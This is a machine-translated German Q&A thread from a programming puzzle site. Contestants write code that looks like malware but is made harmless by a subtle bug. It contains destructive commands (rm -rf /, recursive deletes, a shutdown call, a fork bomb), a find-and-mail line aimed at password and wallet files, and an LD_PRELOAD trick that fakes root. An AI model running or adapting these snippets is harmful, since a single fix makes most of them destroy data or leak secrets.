Trolling the Troll [geschlossen]

184

Ein Troll hat Sie gefangen genommen und zwingt Sie, Malware zu schreiben (definiert als ein Programm, das den Computer beschädigt, auf dem er ausgeführt wird). Der Troll kann Code lesen und verstehen, kann aber nicht so gut Fehler erkennen.

Ihr Ziel ist es, ein Programm zu schreiben, das:

  1. Sieht nach Malware aus. dh ein beginnender Programmierer, der den Code liest, ist davon überzeugt, dass der Code den Computer beschädigt, auf dem er ausgeführt wird.
  2. Tatsächlich überhaupt kein Schaden.

HINWEIS: Der Troll liest nur den Code - nicht die Kommentare. Der Code selbst sollte also klar und überzeugend genug sein.

BEISPIEL (Bash):

rm - rf /home

Dieses Beispiel sieht so aus rm -rf /home, als würde es alle privaten Ordner vom System entfernen. Aufgrund des Platzes vor dem RF funktioniert dies jedoch nicht und es wird nur eine harmlose Fehlermeldung ausgegeben.

Dies ist eine akzeptable Lösung, aber nicht sehr gut, da der Fehler recht einfach zu erkennen ist.

Andererseits ist ein komplexes und unlesbares Programm auch keine sehr gute Lösung, da es nicht nach Malware aussieht.

Eine gute Lösung sollte lesbar genug sein, um den Leser davon zu überzeugen, dass es sich um Malware handelt, aber einen Fehler enthalten, der schwer zu erkennen ist und ihn harmlos macht.

Dies ist ein Beliebtheitswettbewerb, daher gewinnt der Code mit den meisten positiven Stimmen.

Erel Segal-Halevi
quelle
160
Ich habe das Gefühl, dass Sie versuchen, mich zum Einfügen rm - rf /in meine Muschel zu überlisten ...
undergroundmonorail
19
Bash rm -rf /. Es sei denn, das System ist sehr alt , wird es erfordern --no-preserve-root:)
User80551
10
-1 weil a) Code-Trolling und was noch wichtiger ist b) ich bin sehr besorgt über alle Fragen bezüglich der Erstellung von Malware (auch wenn es sich um eine Fälschung handelt, die sehr nahe kommt).
Gareth
13
@Gareth Es handelt sich jedoch nicht wirklich um Malware (die heutzutage normalerweise versucht, versteckt zu werden und / oder Daten zu stehlen), sondern meistens um ganz offensichtliche Versuche, Dinge zu löschen, die jeder Programmieranfänger mit geringem Aufwand schreiben könnte.
Bob
29
rm - rf /ist kein gültiges Beispiel! Es kann Schaden anrichten, wenn Sie eine Datei rfim aktuellen Verzeichnis haben
gnibbler

Antworten:

139

Bash

Ich bin den anderen Weg gegangen. Anstatt alles auf Ihrer Festplatte zu löschen, fülle ich es mit Müll.

Dieses Skript erstellt einen Ordner catund fügt alle Dateien fortlaufend in einen neuen Ordner ein. Dabei wird der Wert von ls -al(und damit die Startdatei etwas enthält) addiert .

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

außer...

Es ist sehr unwahrscheinlich, dass / bin / bash / (anstelle von / bin / bash) ein gültiger Interpreter ist. Dies ist nur ein häufiger Tippfehler von mir. Und da "der Shebang technisch gesehen ein Kommentar ist, wird der Troll ihn ignorieren"

James Webster
quelle
56
+1. Die erste Zeile in einem Skript ist für viele Programmierer (auch für mich) ein blinder Fleck.
Erel Segal-Halevi
44
und der Shebang ist technisch gesehen ein Kommentar, also wird der Troll ihn ignorieren
Brian Minton
14
+1 für den Missbrauch der nichtkommentierenden Kommentar :) das ist wirklich nicht offensichtlich
masterX244
37
bash whatever.sh
Wenn
8
@ Darkhogg, was für ein Glück! Ich habe es evil.commandso gespeichert , dass der Troll es einfach per Doppelklick öffnen kann (zumindest auf dem Mac)
James Webster
114

Haskell

Überprüfen Sie diese Handbuchseite , removeDirectoryRecursivelöscht ein Verzeichnis mit allen Inhalten!

import System.Directory
main = return (removeDirectoryRecursive "/")

Der richtige Code wäre main = removeDirectoryRecursive "/"
Die mainFunktion soll ein Konzept zurückgeben , etwas zu tun. removeDirectoryRecursive "/"gibt ein Konzept zum Löschen Ihres Dateisystems zurück, aber die returnFunktion (ja, es ist eine Funktion) schließt ihr Argument in ein Dummy- Konzept zum Zurückgeben dieses Werts ein.
Am Ende haben wir das Konzept, ein Konzept zum Löschen Ihres Laufwerks zurückzugeben. (Yo dawg I herd you like concepts.) Die haskell-Laufzeit führt das zurückgegebene Konzept aus mainund verwirft den zurückgegebenen Wert, in unserem Fall ein Konzept zum Löschen Ihres Dateisystems.

mniip
quelle
85
+1. Ich konnte den Fehler nicht verstehen, auch nachdem ich Ihre Erklärung gelesen habe ...
Erel Segal-Halevi
3
Soweit ich weiß, ist dies ein Zeigerfehler (auf den Zeiger der Funktion anstatt auf die Funktion zeigen). Ziemlich gut, anfängliche Programmierer fallen im Allgemeinen leicht auf Zeigertricks herein.
munter
3
Im Grunde wäre dies ähnlich return removeDirectoryRecursive;wie return removeDirectoryRecursive();in C, ist das richtig?
3Doubloons
4
@ user1121352 Nein. Die Funktion selbst wird aufgerufen, kann jedoch keine Datei löschen, da sie rein ist. Stattdessen gibt es eine E / A-Aktion, die mainausgeführt wird und die Datei entfernt , wenn sie zurückgegeben wird. Durch die explizite Verwendung der returnFunktion wird jedoch eine E / A-Aktion erstellt, deren Zweck nur darin besteht, den Wert zu erstellen.
Mittwoch,
4
@Cthulhu returnhat nichts mit returnanderen Sprachen zu tun (oder sogar mit dem "Zurückgeben" eines Wertes von einer Funktion). Auch haben Werte vom Typ IO anicht viel mit Funktionen in anderen Sprachen zu tun. Die Analogie ist also ziemlich gewellt
Niklas B.
103

PHP

Hier ist ein rekursives PHP-Skript, das versucht, jede einzelne Datei auf Ihrer Website zu löschen. Es kann eine Weile dauern, bis die Website vollständig ist. Seien Sie also geduldig ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Nur ein kleines Problem ...

Es gibt keinen delete () Befehl in PHP. Das Skript schlägt fehl, sobald es auf diesen Befehl stößt. Es wird jedoch keine Fehlermeldung angezeigt, da die Fehlerberichterstattung durch das Präfixieren dieses Befehls mit @ unterdrückt wurde . Das blinkende GIF-Bild vermittelt den Eindruck, dass etwas passiert, wenn überhaupt nichts passiert.

zimperliches Ossifrage
quelle
31
^ soweit ich verstanden habe: es gibt keine delete () Funktion, das Handbuch sagt nur, dass dies "Fake-Entry" für jeden ist, der die richtige Funktion sucht (Unlink). Das bedeutet nicht, dass es in PHP eine Art "automatische" Umleitung gibt.
Erti-Chris Eelmaa
93
@ user11153 wurde getrollt.
basher
34
Sehen Sie, ich dachte, der Grund, warum die Fehler ignoriert und die Ausführung fortgesetzt wird, ist PHP.
Zoey
17
Ich denke, die Verwendung einer zufälligen, nicht existierenden Funktion ist ein bisschen offensichtlich ( deleteum Dateien zu löschen? Es gibt keinen Grund anzunehmen, dass das irgendjemanden zum Narren hält). Wie wäre es unlⅰnkstattdessen (die U + 2170 anstelle von "i" verwendet)?
Konrad Rudolph
18
@KonradRudolph Eine Funktion deletezum Löschen von Dateien ist in PHP absolut glaubwürdig. Das einzige, was nicht glaubwürdig ist, ist, dass wenn es real wäre, es 3 oder 4 andere Möglichkeiten gäbe und alle außer der mit dem seltsamsten Namen schwerwiegende Sicherheitslücken aufweisen würden.
Brendan Long
93

Perl (Unix)

Löscht alle Dateien auf dem System.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Eigenschaften

  • Dies ist gültiges Perl. Es kompiliert und läuft sogar mit -wund use strict!

  • Keine Probleme wie in C ++ delete. unlinkWirklich ist die Funktion, um eine Datei zu löschen, rmdirwirklich ein Verzeichnis zu entfernen, etc.

  • Behandelt tief verschachtelte Verzeichnisse korrekt, für die der absolute Pfadname die maximale Länge des Systems überschreiten kann, indem Sie in jedes Verzeichnis wechseln, um relative Pfade zu verwenden. Außerdem werden nicht alle Verzeichnis-Handles ausgehen, da das Verzeichnis vor der erneuten Ausführung gelesen und geschlossen wird.

Spoiler

Unter Unix lautet der erste Eintrag im Stammverzeichnis normalerweise "." Daher führt das Programm eine unendliche Rekursion von chdir (".") durch, bis der Speicher voll ist und ein Absturz auftritt.

Weitere Hinweise

Dies war schwieriger zu korrigieren als erwartet. Wenn Sie den chdir-Ansatz nicht verwenden, erhalten Sie schließlich einen zu langen Pfadnamen. Dann gibt -d false zurück und die unendliche Rekursion ist unterbrochen, und die Dateien werden möglicherweise tatsächlich gelöscht! Ein ähnlicher Fehler kann auftreten, wenn Sie Verzeichnis-Handles geöffnet lassen. irgendwann läuft ihr aus, opendir schlägt fehl, killdir kehrt zurück und der Löschvorgang beginnt.

Nate Eldredge
quelle
45
"Dann gibt -d false zurück und die unendliche Rekursion ist unterbrochen, und Dateien werden möglicherweise tatsächlich gelöscht!" Hast du das auf die harte Tour gelernt?
Niklas B.
4
@NiklasB .: Zum Glück habe ich eine Dummy-Version getestet :)
Nate Eldredge
Ich habe erwartet, dass ein solcher Code nur leere Ordner, aber keine Dateien löschen kann ...
Qwertiy
3
"Unter Unix lautet der erste Eintrag im Stammverzeichnis normalerweise". ". Also noch eine Windows-Malware?
Alexander
1
@timmyRS: Das Programm stürzt ab. Das System läuft problemlos weiter.
Nate Eldredge
81

Shell Einzeiler

Dadurch werden alle Passwörter, privaten Schlüssel, Bitcoins usw. des Opfers gestohlen.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail [email protected]

Spoiler:

Dies sieht möglicherweise so aus, als würde es all diese Dateien per E-Mail an den Troll senden, aber tatsächlich werden nur deren Dateinamen per E-Mail gesendet.

Nate Eldredge
quelle
4
Um den Inhalt einer E - Mail, die cat, headoder tailBefehle müßten irgendwo beteiligt sein.
Agi Hammerthief
7
Immer noch leckende Daten, egal was passiert. Trollt das die Trolle?
Kyle Kelley
-exec cat '{}' \; | …
Martin Ueding
@queueoverflow-print0 | xargs -0 cat |
quantum
1
Ich habe es ohne den Spoiler bekommen, nachdem ich den Code 2-3 mal gelesen hatte.
nyuszika7h
74

Charge / CMD

sparen

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

und veranlassen Sie sie, es mit Parametern jedes Laufwerks auf dem Computer auszuführen.

% 0 ist immer der erste Parameter - der Dateiname. Danach kommt der Satz von Aktualparametern, aber er hat sich bereits gelöscht, so dass er nicht fortgesetzt wird.

kitcar2000
quelle
104
Beruht auch auf Batchs lustigem Verhalten, die Datei zu schließen und wieder zu öffnen, um für jede Zeile die nächste Zeile zu lesen ...
Bob
8
DEL %0funktioniert nur, wenn die Dateierweiterung in der Befehlszeile angegeben ist und das Skript unter Angabe des vollständigen Pfads ausgeführt wird oder Sie sich im selben Verzeichnis befinden. DEL "%~f0"würde beide Probleme lösen und an einer beliebigen Stelle innerhalb des Pfades belastbar sein. Auch %10und nach oben gibt es nicht - es wird übersetzt, %1gefolgt von einem Literal 0.
Jon
14
+1. Selbst wenn der Troll versteht, was "DEL% 0" tut, können Sie ihn davon überzeugen, dass dies nur dazu dient, die Beweise zu löschen, und dass es keinen Schaden anrichtet, da die Batchdatei im Speicher bleibt, bis ihre Ausführung beendet ist (was falsch ist, wie Bob sagte).
Erel Segal-Halevi
2
Ein cleverer Troll würde es immer noch für seltsam halten, den Befehl zum Selbstlöschen am Anfang der Datei (und nicht am Ende) auszugeben, es sei denn, Sie berücksichtigen, wie notorisch fehleranfällig Batch-Skripte sind.
Agi Hammerthief
10
@ Bob Ich hatte keine Ahnung, dass Batch das getan hat ... das ist schrecklich.
w4etwetewtwet
48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Nun, die ursprüngliche Malware wird Ihren Computer nicht in die Luft jagen, kann aber ärgerlich sein.

Das ist harmlos, weil:

Das evalunterbricht die Endlosschleife und ändert die Nachricht.

Michael M.
quelle
40
Ich würde dich unterstützen, aber du hast 1337 Wiederholungen.
scrblnrd3
5
Also bitte nicht! :)
Michael M.
@scrblnd es ist weg D:
Riking
11
Stimmen Sie schlechte Antworten ab, bis Sie darauf zurückkommen.
David Starkey
4
Nur um es anderen zu erklären, atob ('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIlM) führt das Böse durch, wenn es falsch ist, in 7
Mohammed Joraid
45

Java

Mögen die Götter mir vergeben, dass ich mich deinen elenden Forderungen unterworfen habe, Troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec ruft keine Shell auf, sodass die Glob-Erweiterung niemals stattfindet und der Befehl erfolglos versucht, ein Ausgangsverzeichnis mit dem Namen "*" zu löschen.

dieser andere Typ
quelle
1
Also, was ist mein Heimatverzeichnis heißt "*"? ;)
Vorac
6
Ehrlich gesagt ist dies eine der besseren Java-Antworten. Dies erfordert ein ziemlich solides Verständnis der (vielen) Stürze von Runtime.exec(). +1.
Qix
Hat Java eine tatsächliche Entsprechung zu Cs system()Funktion?
SuperJedi224
@ SuperJedi224 Nein, müssen Sie angeben , /bin/sh -coder cmd /coder was auch immer manuell. Sinnvoll, da Sie nie wissen, was ein Befehl auf einem neuen Betriebssystem tun würde.
andere
37

C

Da er keine Kommentare liest, die es tun sollten:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C ++ Version

danke an DragonLord dafür.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Fügen Sie dies in den Startordner ein und starten Sie den Computer neu.

Wie es funktioniert:

?? / ist ein trigraph und wird die nächste Zeile in den Kommentar hinzufügen so dass im Grunde wird es nichts. Hinweis: versuchen Sie nicht, diese trigraphs in einigen Compiler als Standard ausgeschaltet werden könnte, und muss dazu eingeschaltet sein, zu arbeiten.

Mhmd
quelle
Wenn in einigen Compiler es funktionieren kann, ist es wirklich Trolling?
Antonio Ragagnin
4
Nein, aber in einer realen Situation, würde ich es vorziehen, nicht einen Troll mit einem solchen Code Troll (Ich will nicht einen Troll schaden!)
Antonio Ragagnin
2
@AntonioRagagnin Wenn dies auf jedem Compiler funktioniert, ist , dass Compiler fehlerhaft. Allerdings sind die meisten modernen Compiler warnen über die Verwendung von trigraphs (aber akzeptieren und den Code kompilieren).
Konrad Rudolph
8
Also , wenn der Troll Kommentare nicht lesen und Ihre Lösung ist , die Schadsoftware in einen Kommentar zu machen, bedeutet das nicht alle den Troll sieht eine Funktion ist mainmit return 0?
David Starkey
1
Das ??/ist wirklich ein alter Trick ... Es tut mir leid.
Isiah Meadows
33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Verwenden eines Escapezeichens (die \ n vor ntoskrnl.exe ist eine neue Zeile anstelle des normalen N)

masterX244
quelle
20
Wenn Sie nicht die anderen Schrägstriche entkommen, kann der Fehler suchen noch weniger auffällig. Der Troll konnte die Sprache nicht denken Backslash verwenden entkommt
3Doubloons
2
@ 3Doubloons Könnte der Code in diesem Fall nicht kompiliert werden?
Neil
2
@ Neil: Guter Punkt. Es würde nicht, aber wenn der Troll uns gehen lässt, sobald er mit seiner Lektüre zufrieden ist, sind wir im klaren
3Doubloons
29
new File("C:\ntldr").delete();
Egor Skriptunoff
3
@EgorSkriptunoff Es dauerte mehr als eine Weile, bis mir klar wurde, dass XP keine Variante von XD war.
Justin
31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t wird beendet, nachdem ein Befehl gelesen und ausgeführt wurde. Dieses Skript druckt keine Ausgabe und alle Dateien sind sicher!

Oder den folgenden ABER LESEN SIE DEN SPOILER, BEVOR SIE LAUFEN

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Auf vielfachen Wunsch wird .. beendet #!/bin/bash -t, nachdem ein Befehl gelesen und ausgeführt wurde. Führen Sie dies nicht unter aus, bash -xda dies -tdie Befehle im Skript ignoriert und ausführt.

JOgden
quelle
SPOILERS Ich bin ein bisschen verwirrt ... was ist der Unterschied zwischen set -tund exit? Die Bash-Manpage besagt, dass das set -tProgramm nach "einem Befehl" beendet wird, aber es scheint, als würde der setBefehl selbst als dieser Befehl gezählt und sofort beendet.
Kyle Strand
6
Befinden sich zusätzliche Befehle in derselben Zeile wie set -t (z. B. durch ein Semikolon oder ein doppeltes Et-Zeichen usw. getrennt), werden sie ausgeführt. In diesem Fall wird set -t; echo "hahaha deleting files.."dieser Text in einer ersten Zeile von wiedergegeben und dann beendet.
JOgden
2
Ah. Vielen Dank. Wusste nicht, dass es jemals einen Unterschied im Verhalten zwischen ;und einer Newline gab.
Kyle Strand
4
#!/bin/bash -tvielleicht?
Neil
2
@JOgden es schade bash ist nicht das gleiche shebang-Parsing - Trick nicht tun , die nicht Perl (wenn Sie laufen perl foo.plund foo.pl beginnt mit #!somethingendingin/perl -flags, wirkt Perl wie es mit aufgerufen wurde -flags)
hobbs
30

Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

drei Anführungszeichen "" starten eine mehrzeilige Zeichenkette in Python

Antonio Ragagnin
quelle
5
Falsch, sie starten mehrzeilige Strings docs.python.org/2/tutorial/introduction.html#strings
user80551
12
Ich sah das Problem buchstäblich innerhalb von fünf Sekunden, nachdem ich die Antwort gesehen hatte, und ich kenne nicht einmal Python.
Der Typ mit dem Hut
6
Gute Idee, mit dem Problem, dass der Troll es erkennen wird, wenn er Syntax-Hervorhebungen verwendet.
o0 '.
1
Ich denke, ein durchschnittlicher Troll sieht einen zufälligen Schadcode im Internet und kopiert ihn einfach in ein anderes Forum.
Antonio Ragagnin
1
Gut, ich habe Erfahrung mit Python und habe den Fehler nicht gesehen. Mit 4 Anführungszeichen kann mich ausgetrickst haben.
munter
29

D

Dieses Programm ist gültig und wird fehlerfrei ausgeführt. Es wird eine Löschfunktion in einem neuen Thread erzeugt, die das rootVerzeichnis löscht .

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Aber nichts wird gelöscht ...

da in D eine im Modulbereich deklarierte Variable standardmäßig thread-lokal ist. Die mainFunktionen setzen es auf "/", aber die Spawn-Threads haben eine leere Kopie, so dass die rmdirRecurseFunktion nicht aufgerufen wird.

biozic
quelle
1
Gut! Ich habe es geschafft, den Bug in diesem zu fangen, obwohl ich D.
Erel Segal-Halevi
1
"eine globale Variable ist standardmäßig thread-lokal" Das ist dort ein gewisser Widerspruch
Niklas B.
@NiklasB. Was ist der widerspruch
Biozic
Es ist dann keine "globale Variable". Vielleicht ist "Variable auf oberster Ebene deklariert" eine bessere Beschreibung?
Paŭlo Ebermann
Ja, bearbeitet! Es ist weniger zweideutig. Zumindest lexikalisch kein völliger Widerspruch.
Biozic
25

C (Unix)

Das Hinzufügen einiger Anzeigen hat noch nie jemandem geschadet.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: es ist ein Label, der Sprung zum Label fehlt der Harful-Code. : V

Ilmale
quelle
5
Ich habe es geschafft, dieses zu erkennen :)
Erel Segal-Halevi
17
Das Semikolon in der ersten URL ist in dieser Schriftart recht einfach zu erkennen. Aber es ist kreativ!
CompuChip
12
als hilfreich erachtet
drewbenn
1
Ich habe es bemerkt, weil es nach dem goto kein Semikolon gibt. Wenn Sie es auf goto http;//www.trolling.com;(an beiden Stellen) geändert haben, hätte ich es möglicherweise verpasst.
wchargin
2
Es würde sowieso nicht kompilieren, da es keine printFunktion gibt.
nyuszika7h
24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Es wird keine Warnung angezeigt. Da JavaScript nicht ;am Zeilenende benötigt wird, wird es automatisch nach return, werden eingefügt return;. Dann wird undefined, was falsch ist, anstelle des "Objekts" (das tatsächlich als Blockanweisung analysiert wird) zurückgegeben.

Oriol
quelle
3
Versuchung, +1 nur für die Verwendung von "wirklich" und "falsch";)
CompuChip
1
+1 als dieser "Fehler" in JS hat mich mehrmals überrascht ... Musste es ein paar Mal nachlesen, um es zu sehen
Mark Ormston
12
@NigelNquande das Semikolon verursacht den Fehler nicht, der Zeilenumbruch tut. Die Rückgabe und das Objekt, das zurückgegeben werden soll, befinden sich in separaten Zeilen, sodass das Objekt niemals zurückgegeben wird. Um dies zu "beheben", entfernen Sie den Zeilenumbruch so, dass er lautetreturn {
Dave Forber
3
In der Hoffnung, dass der Troll den Code nicht minimiert!
Mohammed Joraid
2
Sagt UglifyJS WARN: Dropping side-effect-free statement [-:4,11]und kehrt zurück function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h
22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Tauschen Sie den Zerstörungsalarm gegen die böse zerstörerische Aktion aus, die Sie verwenden möchten.

Spoiler:

Obwohl es so aussieht, als ob die Konfiguration auf Löschen eingestellt ist ... und das ist es ! Die 'var'-Deklaration in der Funktion lautet "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html und ist daher beim Aufrufen der Funktion tatsächlich falsch.

Scunliffe
quelle
Nizza Trick, aber warum würden Sie die Flagge zurücksetzen?
Mohammed Joraid
Das "Zurücksetzen" war nur ein Beispiel ... es könnte jede Variable sein, bei der die Zuweisung gültig ist ... nur wenn das Präfix "var" verwendet wird, kann / wird dies unbeabsichtigte Konsequenzen haben.
Scunliffe
16

Java

Löschen wir einfach einige wichtige Dateien!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Im Blockkommentar ist ein zusätzliches} {außerhalb des Kommentars verborgen. Dadurch wird das Löschen von Dateien in einen separaten Instanzinitialisierungsblock verschoben, der vor dem Konstruktor ausgeführt wird. Derzeit ist importantFile noch null.

Joe K
quelle
16
Ich habe es geschafft, dieses zu erkennen :)
Erel Segal-Halevi
17
Dies wäre sehr, sehr offensichtlich, wenn der Troll die Kommentare nicht lesen würde.
ApproachingDarknessFish
6
Ich habe mich dafür entschieden, "Der Troll liest die Kommentare nicht" als "Der Troll überspringt Kommentare auf ähnliche Weise wie ein Mensch, wenn er Kommentare überspringt" zu interpretieren. In diesem Fall kann es leicht vorkommen, dass versehentlich übersehen wird, dass sich diese beiden Zeichen tatsächlich außerhalb des Kommentars befinden.
Joe K
1
Dies war die einzige, die ich vor dem Lesen der Erklärung gelöst habe, aber gute Arbeit!
Nrubin29
15

Bash, C, Linux

Vielleicht ist es nicht gerade eine Malware, aber sicher kann es Teil einer sein :)

Es ist ein erstaunlicher Exploit, mit dem Sie auf jedem Linux-Rechner rooten können! Pssst, sag niemandem, dass wir es haben!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Führen Sie nun das Skript aus und Sie sind root! Sie können sicherstellen, dass mit whoami!

Tatsächlich werden nur alle Anwendungen mit der UID = 0 ausgetrickst (dies ist die Root-Benutzer-ID).

Der Code wurde von Lcamtuf geschrieben, Quelle: http://lcamtuf.coredump.cx/soft/ld-expl

mik01aj
quelle
+1. Wirklich schöner Trick. Ich verstehe immer noch nicht ganz, wie es funktioniert.
Erel Segal-Halevi
@ErelSegalHalevi: Weitere Informationen zu LD_PRELOAD finden Sie unter stackoverflow.com/questions/426230/what-is-the-ld-preload-trick.
mik01aj
2
Read up on fakeroot(1)ist eine Bibliothek, die Aufrufe verschiedener POSIX-Systemfunktionen abfängt und den Aufrufer zu der Annahme verleitet, dass er (gefälschten) Lese- und (gefälschten) Schreibzugriff auf das gesamte System hat. Eigentlich wird es diese Berechtigungen nicht geben (können), aber wenn das Programm zB die "Fake" chmod-Funktion für eine Datei aufruft und die Berechtigungen ändert, merkt sich fakeroot diese Berechtigungen, sodass statAufrufe die aktualisierten Berechtigungen zurückgeben. Einige Distributionen verwenden dies, um es dem Paketerstellungssystem zu ermöglichen, Dateien mit root:rootEigentumsrechten zu erstellen .
Sleblanc
1
Ich glaube, es ist lcamtufs : lcamtuf.coredump.cx/soft/ld-expl - zumindest erinnere ich mich, dass es seit den 90ern da war
viraptor
13

Bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

In der Zeile "fork-bomb" ist ein Syntaxfehler aufgetreten. Nach { sollte ein Leerzeichen stehen. Andernfalls schlägt das Skript fehl, da auf die Funktionsdefinition nicht das { Token von selbst folgt .

Konrad Borowski
quelle
2
Sie müssen eine Warnung hinzufügen (vielleicht im Spoiler), dass dies nicht mit ausgeführt wird, kshda die Gabelbombe dort kein Syntaxfehler ist!
Devnull
@ Tennis: Unabhängig, ich habe das nicht gesehen. Aber interessanter Thread, um ehrlich zu sein. Ich weiß, wie das Parsen in Bash funktioniert, und deswegen verwende ich es nicht :-).
Konrad Borowski
11

Emacs Lisp

Zuerst eine einfache. Dieser tut nichts. Es wird tatsächlich versucht, Elemente zu löschen, die gleich: rekursiv aus der von zurückgegebenen Liste sind directory-files. Es werden keine Dateien gelöscht.

(delete :recursive
    (directory-files "/"))

Hier ist einer, der sogar Elisp-Tierärzte überraschen könnte.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Dies ist nur 1 Zeichen vom Löschen Ihres Stammverzeichnisses entfernt.

Mit emacs lisp kann jsut über alles den Namen eines Symbols (Variable, Funktion, Makro usw.) annehmen. Es ist in Ordnung, Unicode im Namen Ihrer Symbole zu verwenden, und genau das geschieht hier.

setqkann eine beliebige Anzahl von Argumenten annehmen (setq a 3 b 4)ist wie a = 3; b = 4; ist aber (setq a 3 b)auch gültig und macht a = 3; b = null;

Der Rückgabewert von setq ist der Wert, der der letzten Variablen zugewiesen wurde. 4 bzw. Null in den Beispielen.

(setq a 3 b)ist genau das, was im Code passiert, aber anstelle von b verwende ich ein Unicode-Leerzeichen. Ich weise den Wert nil einer Variablen namens zu, deren Name das Unicode-Zeichen 0x2001 ist. Aus diesem Grund wird von setq nil zurückgegeben, und die Bedingung für die while-Schleife ist niemals wahr. Wenn Sie dieses Leerzeichen entfernen, läuft es einwandfrei.

Jordon Biondo
quelle
10

Nur ein weiterer Perl-Hacker.

Ich schrieb dieses im Jahr 2002 , während ich bei Perlmonks war und im Allgemeinen nur versuchte, mein Wissen über Perl so weit wie möglich zu erweitern. Hat es überhaupt nicht bearbeitet, läuft aber trotzdem.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
